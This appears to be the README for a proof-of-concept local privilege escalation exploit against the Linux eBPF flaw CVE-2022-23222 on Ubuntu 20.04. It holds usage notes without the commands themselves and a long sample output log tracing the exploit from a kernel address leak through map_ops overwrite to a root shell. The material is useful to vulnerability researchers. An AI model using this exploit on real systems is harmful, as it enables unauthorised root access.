# Proof of Concept Exploit Code for CVE-2022-23222
This is a POC for CVE 2022-23222, a Local Privilege Escalation vulnerability.
This POC was written for Ubuntu 20.04 with kernel version 5.13.0-27-generic, but other kernel versions are also vulnerable.
For a detailed analysis of the exploit, please read our [write-up](
## Usage
Make sure `libbpf` is installed as it is a requirement for the exploit.
To compile the POC, run the following command:
To execute the expolit, run the following executable:
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
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